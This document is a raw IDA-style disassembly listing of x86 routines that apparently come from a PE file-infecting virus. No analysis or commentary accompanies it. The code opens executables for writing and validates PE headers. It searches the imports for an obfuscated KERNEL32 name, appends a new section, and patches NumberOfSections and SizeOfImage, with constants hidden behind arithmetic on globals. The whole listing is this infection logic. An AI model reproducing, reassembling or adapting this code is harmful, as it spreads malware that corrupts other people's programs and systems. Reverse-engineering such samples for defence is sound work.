mov eax, [ebp-28h]
movsx eax, byte ptr [ebp+eax-127h]
mov edx, ds:10013164h
movsx ecx, word ptr ds:100131B4h
add edx, ecx
sub edx, 8
cmp eax, edx
jnz short loc_420D61
mov eax, ds:10013120h
movsx edx, word ptr ds:100130CCh
add eax, edx
cmp byte ptr [ebp+eax-133h], 4Bh
jnz loc_420E83
mov eax, ds:1001309Ch
cmp byte ptr [ebp+eax-12Bh], 45h
jnz loc_420E83
mov eax, ds:100130ECh
cmp byte ptr [ebp+eax-129h], 52h
jnz loc_420E83
mov eax, ds:10013138h
cmp byte ptr [ebp+eax-122h], 4Ch
jnz loc_420E83
mov eax, ds:100131F8h
cmp byte ptr [ebp+eax-124h], 33h
jnz short loc_420E83
mov eax, ds:10013210h
add eax, 4
add eax, ds:100131A8h
cmp byte ptr [ebp+eax-127h], 32h
jnz short loc_420E83
mov eax, [ebp-12Ch]
mov edx, ebx
add edx, [eax+10h]
mov [ebp-138h], edx
mov eax, ds:10013204h
dec eax
mov [ebp-134h], eax
loc_420E3D: ; CODE XREF: .data:00420E7Fj
mov eax, [ebp-138h]
mov esi, eax
add esi, [ebp-134h]
mov edi, [esi]
mov eax, ds:10013198h
sub eax, 2
cmp edi, eax
jz short loc_420E99
push edi
call sub_41A9D0
pop ecx
cmp dword ptr ds:10013294h, 0
jnz short loc_420E99
movsx eax, word ptr ds:10013130h
add eax, ds:10013110h
sub eax, 4
add [ebp-134h], eax
jmp short loc_420E3D
; ---------------------------------------------------------------------------
db 0EBh, 16h
; ---------------------------------------------------------------------------
loc_420E83: ; CODE XREF: .data:00420DBAj
; .data:00420DCDj ...
add dword ptr [ebp-4], 14h
loc_420E87: ; CODE XREF: .data:00420D03j
mov eax, [ebp-8]
mov eax, [eax+84h]
cmp [ebp-4], eax
jb loc_420D08
loc_420E99: ; CODE XREF: .data:00420D2Aj
; .data:00420E57j ...
cmp dword ptr ds:10013294h, 0
jz short loc_420EFA
call sub_41A512
call sub_41F36F
call sub_419B03
mov edx, eax
mov [ebp-19h], dl
movzx eax, byte ptr [ebp-19h]
mov edx, ds:10013140h
add edx, ds:10013204h
sub edx, 8
cmp eax, edx
jz short loc_420EFA
lea eax, [ebp-24h]
push eax
mov eax, ds:100131BCh
add eax, ds:100130ACh
sub eax, 0Ah
push eax
lea eax, [ebp-20h]
push eax
push 10007C0Ah
mov eax, ds:10013110h
sub eax, 5
push eax
push 0
call dword ptr ds:10012B90h
loc_420EFA: ; CODE XREF: .data:00420EA0j
; .data:00420ECBj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420EFF proc near ; CODE XREF: sub_41D465+CDp
; sub_41D465+122p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_420F15: ; CODE XREF: sub_420EFF+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_420F15
mov [ebp+var_4], eax
mov edi, ds:100131D4h
sub edi, 2
jmp short loc_420F9A
; ---------------------------------------------------------------------------
loc_420F2A: ; CODE XREF: sub_420EFF+9Ej
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_420F3D
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_420F3D
cmp al, 2Eh
jnz short loc_420F5C
loc_420F3D: ; CODE XREF: sub_420EFF+31j
; sub_420EFF+38j
push 10013878h
call sub_41C914
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call dword ptr ds:10012634h
add esp, 10h
jmp short loc_420F8B
; ---------------------------------------------------------------------------
loc_420F5C: ; CODE XREF: sub_420EFF+3Cj
push 10013873h
call sub_41C914
push eax
push ebx
call dword ptr ds:1000D020h
push 1001386Bh
call sub_41C914
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call dword ptr ds:10012634h
add esp, 1Ch
loc_420F8B: ; CODE XREF: sub_420EFF+5Bj
lea eax, [ebp+var_7]
push eax
push ebx
call dword ptr ds:1000D020h
add esp, 8
inc edi
loc_420F9A: ; CODE XREF: sub_420EFF+29j
cmp edi, [ebp+var_4]
jb short loc_420F2A
pop edi
pop esi
pop ebx
leave
retn
sub_420EFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420FA4 proc near ; CODE XREF: sub_419F88+188p
var_170 = byte ptr -170h
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 170h
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000F600h
lea eax, [ebp+var_168]
push eax
call sub_41FC67
push 10013866h
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000D020h
push 1001385Eh
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
add esp, 24h
push 0
mov eax, ds:100130F0h
add eax, ds:10013158h
sub eax, 0Ah
push eax
push 3
push 0
mov eax, ds:100131E8h
add eax, ds:100130D4h
sub eax, 7
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10012788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42106B
mov eax, ds:10013268h
sub eax, 4
mov edx, [ebp+arg_0]
mov ecx, ds:10013288h
sub ecx, 6
mov [edx+eax], cl
jmp short loc_4210D8
; ---------------------------------------------------------------------------
loc_42106B: ; CODE XREF: sub_420FA4+ACj
push 0
push 0
push [ebp+arg_4]
push edi
call dword ptr ds:10012B9Ch
push 0
lea eax, [ebp+var_170]
push eax
mov eax, ds:10013194h
add eax, 0Bh
push eax
push [ebp+arg_0]
push edi
call dword ptr ds:1000D028h
mov [ebp+var_16C], eax
push edi
call dword ptr ds:10011654h
mov eax, ds:100130F8h
add eax, ds:10013234h
sub eax, 0Bh
cmp [ebp+var_16C], eax
jnz short loc_4210D8
mov eax, ds:100131A8h
sub eax, 2
mov edx, [ebp+arg_0]
mov ecx, ds:1001309Ch
movsx ebx, word ptr ds:100130BCh
add ecx, ebx
sub ecx, 0Eh
mov [edx+eax], cl
loc_4210D8: ; CODE XREF: sub_420FA4+C5j
; sub_420FA4+112j
pop edi
pop esi
pop ebx
leave
retn
sub_420FA4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 10014AC8h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_421109
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_421151
; ---------------------------------------------------------------------------
loc_421109: ; CODE XREF: .data:004210F7j
push 10014A48h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_421129
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_421151
; ---------------------------------------------------------------------------
loc_421129: ; CODE XREF: .data:00421117j
push 10014A28h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_421149
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_421151
; ---------------------------------------------------------------------------
loc_421149: ; CODE XREF: .data:00421137j
and dword ptr [edi], 0
mov eax, 80004002h
loc_421151: ; CODE XREF: .data:00421107j
; .data:00421127j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_421158 proc near ; CODE XREF: .data:0041F037p
push edi
push 10013853h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132ACh, eax
test eax, eax
jnz short loc_42118B
push 10013848h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132ACh, eax
loc_42118B: ; CODE XREF: sub_421158+1Aj
cmp dword ptr ds:100132ACh, 0
jz short loc_4211B1
push 10013832h
call sub_41C914
pop ecx
push eax
push dword ptr ds:100132ACh
call dword ptr ds:1000F1F8h
mov ds:1000F604h, eax
loc_4211B1: ; CODE XREF: sub_421158+3Aj
pop edi
retn
sub_421158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211B3 proc near ; CODE XREF: sub_41B354+11Bp
var_270 = byte ptr -270h
var_26C = dword ptr -26Ch
var_267 = byte ptr -267h
var_203 = byte ptr -203h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 270h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000F600h
lea eax, [ebp+var_267]
push eax
call sub_41FC67
push 1001382Dh
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
lea eax, [ebp+var_267]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000D020h
push 10013825h
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
add esp, 24h
push 0
mov eax, ds:10013154h
add eax, ds:100131F8h
sub eax, 0Ah
push eax
push 3
push 0
mov eax, ds:100131E8h
dec eax
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10012788h
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42125F
mov eax, 2Ah
jmp short loc_4212CA
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_4211B3+A3j
push 0
lea eax, [ebp+var_270]
push eax
push 0FFh
lea eax, [ebp+var_203]
push eax
push edi
call dword ptr ds:1000D028h
mov [ebp+var_26C], eax
push edi
call dword ptr ds:10011654h
mov eax, ds:100131A0h
sub eax, 3
cmp [ebp+var_26C], eax
jnz short loc_42129F
mov eax, 2Ah
jmp short loc_4212CA
; ---------------------------------------------------------------------------
loc_42129F: ; CODE XREF: sub_4211B3+E3j
movzx eax, [ebp+var_203]
movsx edx, word ptr ds:10013098h
movsx ecx, word ptr ds:10013174h
lea edx, [edx+ecx+18h]
cmp eax, edx
jge short loc_4212C3
mov eax, 2Ah
jmp short loc_4212CA
; ---------------------------------------------------------------------------
loc_4212C3: ; CODE XREF: sub_4211B3+107j
movzx eax, [ebp+var_203]
loc_4212CA: ; CODE XREF: sub_4211B3+AAj
; sub_4211B3+EAj ...
pop edi
pop esi
leave
retn
sub_4211B3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, ds:100130F4h
sub eax, 7
cmp ds:10012BA8h, eax
jbe short loc_4212EC
push 10012BA8h
call dword ptr ds:1000D010h
loc_4212EC: ; CODE XREF: .data:004212DFj
mov eax, ds:10012BA8h
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, [ebp+0Ch]
mov eax, [ebp+18h]
mov [ebp+18h], ax
movsx eax, word ptr ds:1001324Ch
mov edx, ds:100130B4h
lea eax, [eax+edx+0E9h]
cmp edi, eax
jnz short loc_421328
push dword ptr [ebp+1Ch]
call sub_418999
pop ecx
xor eax, eax
jmp short loc_42134E
; ---------------------------------------------------------------------------
loc_421328: ; CODE XREF: .data:00421319j
mov eax, ds:100130B4h
add eax, 0F5h
add eax, ds:1001314Ch
cmp edi, eax
jnz short loc_421349
push dword ptr [ebp+1Ch]
call sub_41AD81
pop ecx
xor eax, eax
jmp short loc_42134E
; ---------------------------------------------------------------------------
loc_421349: ; CODE XREF: .data:0042133Aj
mov eax, 80020003h
loc_42134E: ; CODE XREF: .data:00421326j
; .data:00421347j
pop edi
pop ebp
retn 24h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421353 proc near ; CODE XREF: sub_4206A9+1D0p
var_32014 = byte ptr -32014h
var_32011 = byte ptr -32011h
var_32010 = dword ptr -32010h
var_3200C = dword ptr -3200Ch
var_32007 = byte ptr -32007h
var_32006 = byte ptr -32006h
var_31F58 = dword ptr -31F58h
var_31F54 = dword ptr -31F54h
var_31F50 = dword ptr -31F50h
var_31F4C = dword ptr -31F4Ch
var_31F48 = dword ptr -31F48h
var_31F44 = dword ptr -31F44h
var_31F40 = dword ptr -31F40h
var_31F3C = dword ptr -31F3Ch
var_31F38 = dword ptr -31F38h
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = dword ptr -31ED8h
var_31ED4 = byte ptr -31ED4h
var_31EC7 = byte ptr -31EC7h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_1180 = dword ptr -1180h
var_117C = dword ptr -117Ch
var_1178 = dword ptr -1178h
var_1174 = dword ptr -1174h
var_116F = byte ptr -116Fh
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 32010h
call sub_423379
push ebx
push esi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31EC7]
push eax
call dword ptr ds:10011638h
add esp, 0Ch
push 0
mov eax, ds:1001309Ch
sub eax, 5
push eax
push 3
push 0
mov eax, ds:10013234h
add eax, ds:10013284h
sub eax, 0Dh
push eax
push 0C0000001h
push [ebp+arg_0]
call dword ptr ds:10012788h
mov [ebp+var_1070], eax
cmp eax, 0FFFFFFFFh
jnz short loc_4213B7
xor eax, eax
jmp loc_422846
; ---------------------------------------------------------------------------
loc_4213B7: ; CODE XREF: sub_421353+5Bj
push 0
push [ebp+var_1070]
call dword ptr ds:10012624h
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call dword ptr ds:1000FA34h
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_31EDC]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call dword ptr ds:1000D028h
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31EDC]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_42282F
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_42282F
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
movsx edx, word ptr ds:100130CCh
sub edx, 6
cmp eax, edx
jz loc_42282F
and [ebp+var_1180], 0
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
mov ecx, ds:10013238h
add ecx, 7
add ecx, ds:100130D4h
cmp edx, ecx
jnz short loc_4214B2
mov edx, ds:100130C4h
inc edx
mov [eax+1Ah], dl
cmp dl, 0
jz short loc_4214B2
movzx eax, word ptr [eax+46h]
mov [ebp+var_31EEC], eax
movsx eax, word ptr ds:1001322Ch
movsx edx, word ptr ds:100130FCh
add eax, edx
sub eax, 0Bh
cmp [ebp+var_31EEC], eax
jnb loc_42282F
mov [ebp+var_1180], 1
loc_4214B2: ; CODE XREF: sub_421353+11Bj
; sub_421353+12Aj
cmp [ebp+var_1180], 0
jz short loc_4214D3
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
movsx ecx, word ptr ds:100130C0h
add ecx, 2
sub edx, ecx
mov [eax], dx
loc_4214D3: ; CODE XREF: sub_421353+166j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, 28h
mov [ebp+var_31EEC], eax
mov edx, [ebp+var_8]
mov [ebp+var_31EF4], edx
mov ecx, [ebp+var_840]
add ecx, 0F8h
mov [ebp+var_31EF0], eax
movzx edi, word ptr [edx+6]
mul edi
mov [ebp+var_31EF8], eax
mov edx, ecx
add edx, eax
mov [ebp+var_31F00], edx
mov eax, [ebp+var_31EEC]
mov [ebp+var_31EFC], eax
mov ecx, ds:100130B8h
movsx edi, word ptr ds:10013240h
add ecx, edi
dec ecx
mul ecx
mov [ebp+var_31F04], eax
mov eax, [ebp+var_31F00]
mov edx, [ebp+var_31F04]
add eax, edx
mov edx, [ebp+var_31EF4]
add eax, [edx+0D4h]
cmp eax, [edx+54h]
ja loc_42282F
mov eax, ds:10013128h
movsx edx, word ptr ds:100131E0h
add eax, edx
sub eax, 0Ch
mov [ebp+var_20], eax
movsx eax, word ptr ds:10013260h
add eax, ds:100131B0h
sub eax, 9
mov [ebp+var_C54], eax
mov eax, ds:10013238h
mov [ebp+var_105C], eax
mov eax, ds:100131D8h
movsx edx, word ptr ds:10013208h
add eax, edx
sub eax, 0Eh
mov [ebp+var_434], eax
jmp loc_421678
; ---------------------------------------------------------------------------
loc_4215B6: ; CODE XREF: sub_421353+332j
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F10], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F10]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F08], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_20]
cmp [ebp+var_31F08], eax
jbe short loc_42160D
mov eax, [ebp+var_31F08]
mov [ebp+var_20], eax
loc_42160D: ; CODE XREF: sub_421353+2AFj
mov eax, [ebp+var_C54]
cmp [ebp+var_31F0C], eax
jbe short loc_421627
mov eax, [ebp+var_31F0C]
mov [ebp+var_C54], eax
loc_421627: ; CODE XREF: sub_421353+2C6j
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_421652
cmp eax, [ebp+var_31F08]
jnb short loc_421652
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_421652: ; CODE XREF: sub_421353+2E0j
; sub_421353+2E8j
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_421672
add edx, [esi+8]
cmp eax, edx
jnb short loc_421672
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_844], eax
loc_421672: ; CODE XREF: sub_421353+30Aj
; sub_421353+311j
inc [ebp+var_434]
loc_421678: ; CODE XREF: sub_421353+25Ej
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_4215B6
mov eax, ds:1001318Ch
add eax, 1000h
push eax
push [ebp+var_20]
call sub_41D094
add esp, 8
mov [ebp+var_20], eax
cmp [ebp+var_1180], 0
jz short loc_4216B6
mov eax, [ebp+var_C54]
mov [ebp+var_10], eax
loc_4216B6: ; CODE XREF: sub_421353+358j
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_4216D9
mov eax, [ebp+var_8]
mov edx, ds:100130C4h
sub edx, 7
cmp [eax+0A8h], edx
jz loc_42282F
loc_4216D9: ; CODE XREF: sub_421353+36Cj
mov eax, ds:100130F8h
sub eax, 7
cmp [ebp+var_105C], eax
jz loc_4217B8
mov eax, ds:10013280h
add eax, ds:1001314Ch
sub eax, 0Ah
mov [ebp+var_31F10], eax
mov eax, ds:10013194h
sub eax, 9
mov [ebp+var_31F08], eax
jmp short loc_42175F
; ---------------------------------------------------------------------------
loc_421711: ; CODE XREF: sub_421353+432j
mov eax, [ebp+var_105C]
mov [ebp+var_31F14], eax
mov eax, 1Ch
mul [ebp+var_31F08]
mov [ebp+var_31F18], eax
mov eax, [ebp+var_31F14]
mov edx, [ebp+var_31F18]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F0C], eax
mov edx, [ebp+var_31F10]
cmp [eax+18h], edx
jbe short loc_421759
mov eax, [eax+18h]
mov [ebp+var_31F10], eax
loc_421759: ; CODE XREF: sub_421353+3FBj
inc [ebp+var_31F08]
loc_42175F: ; CODE XREF: sub_421353+3BCj
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F14], edx
mov edi, edx
cmp [ebp+var_31F08], edi
jb short loc_421711
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F10]
call sub_41D094
add esp, 8
mov [ebp+var_31F10], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_4217B8
cmp [ebp+var_31F10], eax
jnz loc_42282F
loc_4217B8: ; CODE XREF: sub_421353+394j
; sub_421353+457j
and [ebp+var_1174], 0
mov eax, ds:10013188h
mov [ebp+var_438], eax
jmp loc_421912
; ---------------------------------------------------------------------------
loc_4217CF: ; CODE XREF: sub_421353+5CEj
mov eax, [ebp+var_844]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_3200C], eax
mov edx, ds:100130ECh
sub edx, 4
cmp [eax], edx
jz loc_421927
mov eax, [ebp+var_3200C]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_844]
mov [ebp+var_32010], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_32007]
push eax
call dword ptr ds:1000F1F4h
add esp, 8
mov eax, ds:100130C8h
mov [ebp+var_31F08], eax
jmp short loc_42185C
; ---------------------------------------------------------------------------
loc_421831: ; CODE XREF: sub_421353+52Cj
mov eax, [ebp+var_31F08]
mov al, [ebp+eax+var_32007]
cmp al, 61h
jle short loc_421856
cmp al, 7Ah
jge short loc_421856
mov eax, [ebp+var_31F08]
lea eax, [ebp+eax+var_32007]
sub byte ptr [eax], 20h
loc_421856: ; CODE XREF: sub_421353+4EDj
; sub_421353+4F1j
inc [ebp+var_31F08]
loc_42185C: ; CODE XREF: sub_421353+4DCj
mov eax, [ebp+var_31F08]
movsx eax, [ebp+eax+var_32007]
movsx edx, word ptr ds:10013104h
movsx ecx, word ptr ds:100130A4h
add edx, ecx
sub edx, 0Eh
cmp eax, edx
jnz short loc_421831
movsx eax, word ptr ds:100130FCh
movsx edx, word ptr ds:100130B0h
add eax, edx
cmp [ebp+eax+var_32014], 4Bh
jnz short loc_42190B
movsx eax, word ptr ds:10013160h
movsx edx, word ptr ds:1001327Ch
add eax, edx
cmp byte ptr [ebp+eax+var_3200C+1], 45h
jnz short loc_42190B
mov eax, ds:10013204h
cmp [ebp+eax+var_32006], 52h
jnz short loc_42190B
mov eax, ds:1001312Ch
mov edx, ds:1001317Ch
add edx, eax
cmp byte ptr [ebp+edx+var_32010+1], 4Ch
jnz short loc_42190B
mov edx, ds:100131F4h
add edx, ds:10013234h
cmp byte ptr [ebp+edx+var_3200C+3], 33h
jnz short loc_42190B
add eax, ds:10013158h
cmp [ebp+eax+var_32011], 32h
jnz short loc_42190B
mov [ebp+var_1174], 1
loc_42190B: ; CODE XREF: sub_421353+546j
; sub_421353+560j ...
add [ebp+var_438], 14h
loc_421912: ; CODE XREF: sub_421353+477j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_4217CF
loc_421927: ; CODE XREF: sub_421353+49Cj
cmp [ebp+var_1174], 0
jz loc_42282F
lea eax, [ebp+var_31EC7]
mov [ebp+var_42C], eax
mov eax, [eax+3Ch]
mov [ebp+var_84C], eax
add eax, [ebp+var_42C]
mov [ebp+var_848], eax
cmp [ebp+var_1180], 0
jnz loc_421AFB
mov eax, [ebp+var_8]
mov [ebp+var_31F08], eax
mov edx, ds:100131ACh
sub edx, 5
cmp [eax+0D0h], edx
jz loc_421AFB
mov edx, [eax+0D4h]
mov [ebp+var_31F0C], edx
mov ecx, ds:1001311Ch
movsx edi, word ptr ds:10013218h
add ecx, edi
sub ecx, 0Ah
cmp edx, ecx
jz loc_421AFB
mov ecx, 28h
mov edi, [ebp+var_840]
add edi, 0F8h
mov eax, ecx
mov edx, [ebp+var_31F08]
movzx edx, word ptr [edx+6]
mov [ebp+var_31F10], edx
mul edx
mov [ebp+var_31F14], eax
mov edx, edi
add edx, eax
mov [ebp+var_31F1C], edx
mov eax, ecx
mov [ebp+var_31F18], eax
mov ecx, ds:10013138h
add ecx, 4
mul ecx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_31F1C]
mov edx, [ebp+var_31F20]
add eax, edx
mov edx, [ebp+var_31F0C]
add eax, edx
mov edx, [ebp+var_31F08]
cmp [edx+54h], eax
jbe loc_421AFB
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F2C], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F30], eax
mov eax, [ebp+var_31F2C]
mov edx, [ebp+var_31F30]
add eax, edx
mov [ebp+var_31F24], eax
mov [ebp+var_31F34], eax
mov eax, 28h
mov ecx, [ebp+var_848]
movzx ecx, word ptr [ecx+6]
mov edi, ds:100131E4h
add edi, ds:10013224h
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F38], eax
mov eax, [ebp+var_31F34]
mov edx, [ebp+var_31F38]
add eax, edx
mov [ebp+var_31F28], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F24]
add edx, eax
push edx
mov edx, [ebp+var_31F28]
add edx, eax
push edx
call dword ptr ds:10011638h
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F3C], eax
mov eax, 28h
mov ecx, [ebp+var_848]
movzx ecx, word ptr [ecx+6]
mov edi, ds:10013140h
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_31F3C]
mov edx, eax
mov ecx, [ebp+var_31F40]
add [edx], ecx
loc_421AFB: ; CODE XREF: sub_421353+609j
; sub_421353+627j ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_41D094
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F24]
mov esi, edx
add esi, eax
push 1001381Ch
call sub_41C914
push eax
push esi
call dword ptr ds:1000F1F4h
mov eax, ds:10013234h
add eax, 1FFFCh
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_41D094
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, ds:10013204h
add eax, 0C000003Fh
mov [esi+24h], eax
movsx eax, word ptr ds:10013144h
mov edx, ds:10013278h
lea eax, [eax+edx+4]
push eax
mov eax, ds:10013210h
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 2
push eax
mov eax, esi
add eax, 18h
push eax
call dword ptr ds:10011644h
mov eax, [ebp+var_20]
mov [ebp+var_1060], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_41D094
add esp, 30h
mov [ebp+var_10], eax
movsx eax, word ptr ds:10013208h
add eax, 1FFFBh
add [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
